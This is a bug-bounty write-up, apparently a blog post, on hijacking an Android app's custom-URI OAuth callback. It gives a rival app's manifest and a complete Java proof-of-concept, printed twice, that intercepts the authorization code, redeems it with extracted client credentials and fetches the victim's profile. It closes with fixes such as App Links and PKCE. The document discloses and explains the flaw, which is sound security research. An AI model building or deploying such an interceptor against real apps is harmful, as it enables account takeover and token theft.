October 15, 2026
Android Deep Link Hijacking to Account Takeover via OAuth Code Interception
โ โ -

By Ahmed M.Abbas
6 min read
ุจุณู ุงููู ุงูุฑุญู ู ุงูุฑุญูู ุงููููููู ูู ุตูููู ุนูููู ู ูุญูู ููุฏู ููุนูููู ุขูู ู ูุญูู ููุฏู
โ โ -
Alhamdulillah, I successfully discovered and reported an Android Deep Link Hijacking vulnerability that led to Account Takeover via OAuth Code Interception. The report was triaged, and I received a bounty for the finding.
โ โ
1. Introduction
During an Android security assessment, I discovered a deep link vulnerability that allowed a malicious application to intercept an OAuth authorization code during an email verification flow.
The application used an unverified custom URI scheme to handle authentication callbacks. By registering the same scheme, another application installed on the device could receive the callback and extract the authorization code.
I built a proof-of-concept (PoC) Android application to demonstrate the complete attack chain:
- Intercepting the authentication callback.
- Extracting the authorization code.
- Exchanging the code for an access token.
- Accessing the authenticated user's profile through the API.
The issue resulted in account takeover under the tested conditions.
2. Understanding the Root Cause
The application used a custom URI scheme to handle authentication callbacks:
app-login://m.example.com/
?email=...
&auth_code=...app-login://m.example.com/
?email=...
&auth_code=...Custom URI schemes are not exclusively owned by a particular Android application. Another application can register a matching intent filter and potentially receive the same callback.
The following manifest demonstrates how a separate application can register a matching handler:
AndroidManifest.xml
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category
android:name="android.intent.category.DEFAULT" />
<category
android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="app-login"
android:host="m.example.com" />
</intent-filter>
</activity><activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category
android:name="android.intent.category.DEFAULT" />
<category
android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="app-login"
android:host="m.example.com" />
</intent-filter>
</activity>When both applications match the URI, Android may present an application chooser or route the callback to a previously selected default handler.
The security issue occurs when the callback contains a sensitive authorization code that an unintended application can receive and redeem.
3. Reconnaissance and Static Analysis
I started by analyzing the Android APK to understand the authentication flow and identify how the callback was handled.
Step 1: Analyze the manifest
I inspected the application manifest to identify:
- Activities handling deep links.
- Exported components.
- Custom URI schemes and hosts.
- Intent filters containing
VIEWandBROWSABLE.
The goal was to identify externally reachable entry points that accepted authentication-related URIs.
Step 2: Trace the authentication flow
Using JADX, I searched the decompiled source for the custom scheme, callback parameters, and OAuth-related methods.
I traced the authorization code from the incoming intent to the subsequent token exchange request.
Step 3: Identify embedded client credentials
During static analysis, I searched the decompiled source for:
client_id
client_secret
/oauth2/token
authorization_codeclient_id
client_secret
/oauth2/token
authorization_codeThis revealed static client credentials embedded in the publicly distributed APK.
Because APK contents can be inspected by anyone who obtains the package, embedded values cannot be treated as confidential secrets.
However, finding a hardcoded credential alone does not establish account takeover. Its significance depends on the server's validation rules and the complete authentication flow.
4. Exploitation Flow
I created a PoC Android application that registered the same custom URI scheme as the legitimate application.
Using a controlled test account, I followed these steps:
- Installed the legitimate application and the PoC application on the same device.
- Created a test account and triggered the email verification flow.
- Opened the verification email and tapped the Open in App button.
- Selected the PoC application when Android presented the application chooser.
-
Extracted the authorization code from the intercepted callback.
-
Submitted the code to the OAuth token endpoint.
-
Used the resulting access token to request the authenticated user's profile.
The token exchange succeeded, and the subsequent authenticated API request returned the test account's profile.
This demonstrated a practical security impact rather than merely showing that the deep link could be intercepted.
5. Complete Android PoC
The following Java implementation illustrates the main components of the PoC: receiving the callback, extracting the authorization code, submitting a token exchange request, and checking authenticated access.
Sensitive values have been replaced with placeholders. The API hostname is illustrative.
MainActivity.java
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
import android.widget.TextView;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends Activity {
private static final String TAG = "DeepLinkPoC";
// Identified through static analysis of the APK.
private static final String CLIENT_ID = "...";
private static final String CLIENT_SECRET = "...";
private TextView textView;
private final Handler mainHandler =
new Handler(Looper.getMainLooper());
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
textView = new TextView(this);
textView.setTextSize(16);
textView.setPadding(24, 24, 24, 24);
setContentView(textView);
handleIntent(getIntent());
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleIntent(intent);
}
private void handleIntent(Intent intent) {
if (intent == null) return;
Uri data = intent.getData();
if (Intent.ACTION_VIEW.equals(intent.getAction())
&& data != null) {
String interceptedUrl = data.toString();
Log.d(TAG, "Received callback: " + interceptedUrl);
append("Received callback:\n" + interceptedUrl);
String authCode =
data.getQueryParameter("auth_code");
if (authCode != null && !authCode.isEmpty()) {
append("\nAuthorization code received.");
new Thread(() -> exchangeCode(authCode)).start();
} else {
append("\nNo authorization code found.");
}
}
}
private void exchangeCode(String code) {
try {
String body =
"code=" + encode(code)
+ "&grant_type=authorization_code"
+ "&client_id=" + encode(CLIENT_ID)
+ "&client_secret=" + encode(CLIENT_SECRET);
HttpURLConnection conn =
(HttpURLConnection) new URL(
"https://api.example.com/oauth2/token"
).openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty(
"Content-Type",
"application/x-www-form-urlencoded"
);
conn.setDoOutput(true);
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
try (OutputStream os = conn.getOutputStream()) {
os.write(body.getBytes(StandardCharsets.UTF_8));
}
int status = conn.getResponseCode();
String response = readStream(
status >= 400
? conn.getErrorStream()
: conn.getInputStream()
);
Log.d(TAG, "Token exchange status: " + status);
append("\nToken exchange status: " + status);
if (status == 200) {
String accessToken =
extractJsonField(response, "access_token");
if (accessToken != null) {
fetchProfile(accessToken);
}
}
} catch (Exception e) {
Log.e(TAG, "Token exchange failed", e);
append("\nToken exchange failed.");
}
}
private void fetchProfile(String accessToken) {
try {
HttpURLConnection conn =
(HttpURLConnection) new URL(
"https://api.example.com/2.0/users/me"
).openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty(
"Authorization",
"Bearer " + accessToken
);
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
int status = conn.getResponseCode();
Log.d(TAG, "Profile response status: " + status);
append("\nAuthenticated profile status: " + status);
} catch (Exception e) {
Log.e(TAG, "Profile request failed", e);
append("\nProfile request failed.");
}
}
private void append(String text) {
mainHandler.post(() -> textView.append(text));
}
private static String readStream(
java.io.InputStream input) throws IOException {
if (input == null) return "";
java.io.ByteArrayOutputStream output =
new java.io.ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int count;
while ((count = input.read(buffer)) != -1) {
output.write(buffer, 0, count);
}
return output.toString("UTF-8");
}
private static String encode(String value)
throws java.io.UnsupportedEncodingException {
return URLEncoder.encode(value, "UTF-8");
}
private static String extractJsonField(
String json, String field) {
Pattern pattern = Pattern.compile(
"\"" + field + "\"\\s*:\\s*\"([^\"]+)\""
);
Matcher matcher = pattern.matcher(json);
return matcher.find() ? matcher.group(1) : null;
}
}import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
import android.widget.TextView;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends Activity {
private static final String TAG = "DeepLinkPoC";
// Identified through static analysis of the APK.
private static final String CLIENT_ID = "...";
private static final String CLIENT_SECRET = "...";
private TextView textView;
private final Handler mainHandler =
new Handler(Looper.getMainLooper());
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
textView = new TextView(this);
textView.setTextSize(16);
textView.setPadding(24, 24, 24, 24);
setContentView(textView);
handleIntent(getIntent());
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleIntent(intent);
}
private void handleIntent(Intent intent) {
if (intent == null) return;
Uri data = intent.getData();
if (Intent.ACTION_VIEW.equals(intent.getAction())
&& data != null) {
String interceptedUrl = data.toString();
Log.d(TAG, "Received callback: " + interceptedUrl);
append("Received callback:\n" + interceptedUrl);
String authCode =
data.getQueryParameter("auth_code");
if (authCode != null && !authCode.isEmpty()) {
append("\nAuthorization code received.");
new Thread(() -> exchangeCode(authCode)).start();
} else {
append("\nNo authorization code found.");
}
}
}
private void exchangeCode(String code) {
try {
String body =
"code=" + encode(code)
+ "&grant_type=authorization_code"
+ "&client_id=" + encode(CLIENT_ID)
+ "&client_secret=" + encode(CLIENT_SECRET);
HttpURLConnection conn =
(HttpURLConnection) new URL(
"https://api.example.com/oauth2/token"
).openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty(
"Content-Type",
"application/x-www-form-urlencoded"
);
conn.setDoOutput(true);
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
try (OutputStream os = conn.getOutputStream()) {
os.write(body.getBytes(StandardCharsets.UTF_8));
}
int status = conn.getResponseCode();
String response = readStream(
status >= 400
? conn.getErrorStream()
: conn.getInputStream()
);
Log.d(TAG, "Token exchange status: " + status);
append("\nToken exchange status: " + status);
if (status == 200) {
String accessToken =
extractJsonField(response, "access_token");
if (accessToken != null) {
fetchProfile(accessToken);
}
}
} catch (Exception e) {
Log.e(TAG, "Token exchange failed", e);
append("\nToken exchange failed.");
}
}
private void fetchProfile(String accessToken) {
try {
HttpURLConnection conn =
(HttpURLConnection) new URL(
"https://api.example.com/2.0/users/me"
).openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty(
"Authorization",
"Bearer " + accessToken
);
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
int status = conn.getResponseCode();
Log.d(TAG, "Profile response status: " + status);
append("\nAuthenticated profile status: " + status);
} catch (Exception e) {
Log.e(TAG, "Profile request failed", e);
append("\nProfile request failed.");
}
}
private void append(String text) {
mainHandler.post(() -> textView.append(text));
}
private static String readStream(
java.io.InputStream input) throws IOException {
if (input == null) return "";
java.io.ByteArrayOutputStream output =
new java.io.ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int count;
while ((count = input.read(buffer)) != -1) {
output.write(buffer, 0, count);
}
return output.toString("UTF-8");
}
private static String encode(String value)
throws java.io.UnsupportedEncodingException {
return URLEncoder.encode(value, "UTF-8");
}
private static String extractJsonField(
String json, String field) {
Pattern pattern = Pattern.compile(
"\"" + field + "\"\\s*:\\s*\"([^\"]+)\""
);
Matcher matcher = pattern.matcher(json);
return matcher.find() ? matcher.group(1) : null;
}
}Code notes:
handleIntent()processes the incoming deep link and reads the authorization code.exchangeCode()demonstrates the token exchange stage.fetchProfile()illustrates how an authenticated API request can validate the resulting session.CLIENT_IDandCLIENT_SECRETare redacted.- The illustrative API URLs must not be mistaken for the original endpoints.
The original PoC also supplied device metadata and an application-specific User-Agent. These details were relevant to reproducing the observed behavior in the tested environment.
6. Verifying the Impact
The screenshots above demonstrate the complete exploitation flow using a controlled test account.
The PoC successfully received the authentication callback, extracted the authorization code, and obtained a successful response from the token endpoint. It then used the returned access token to retrieve the account profile through the authenticated API endpoint.
These results confirm that the issue was not limited to deep link interception: the intercepted authorization code could be exchanged for an authenticated session.
All sensitive values have been redacted from the published evidence.
7. Security Impact
The demonstrated attack chain had the following consequences:
- Account takeover: An intercepted authorization code could be exchanged for an authenticated session.
- Personal information disclosure: The callback exposed the email address included in the URI.
- Session compromise: The token response contained access and refresh tokens.
- Potential downstream exposure: Other data accessible through the resulting session could be at risk, depending on the account's permissions.
The attack required the PoC application to be installed and the victim to follow the normal verification flow. It did not require the victim to enter credentials into a phishing page.
Remediation
- Verified App Links: Use HTTPS callbacks, configure
assetlinks.json, and verify domain ownership. - OAuth PKCE: Enforce
code_verifiervalidation to prevent unauthorized code redemption. - Authorization Code Validation: Use short-lived, single-use codes bound to the original
client_idandredirect_uri. - Public OAuth Clients: Never rely on embedded APK secrets for client authentication.
9. Lessons Learned
This research reinforced three important lessons for Android security testing:
- Follow the data flow. Trace the deep link from the manifest to the activity, then to the authentication logic and server request.
- Validate impact end-to-end. Demonstrate code interception, token exchange, and authenticated access using a controlled account.
- Separate related weaknesses. A custom-scheme hijacking issue and an embedded client secret may compound each other, but each requires its own technical analysis and impact assessment.
A deep link issue becomes much more significant when it exposes a credential that the backend accepts without sufficient proof that the redemption request belongs to the original authentication session.
About Me
I'm Ahmed Abbas(0x3bas), a security researcher focused on web and mobile application testing, and bug bounty hunting.
I share practical security research, vulnerability analysis, and technical findings to help improve application security.
Connect with me:
Happy hunting, and keep validating the impact.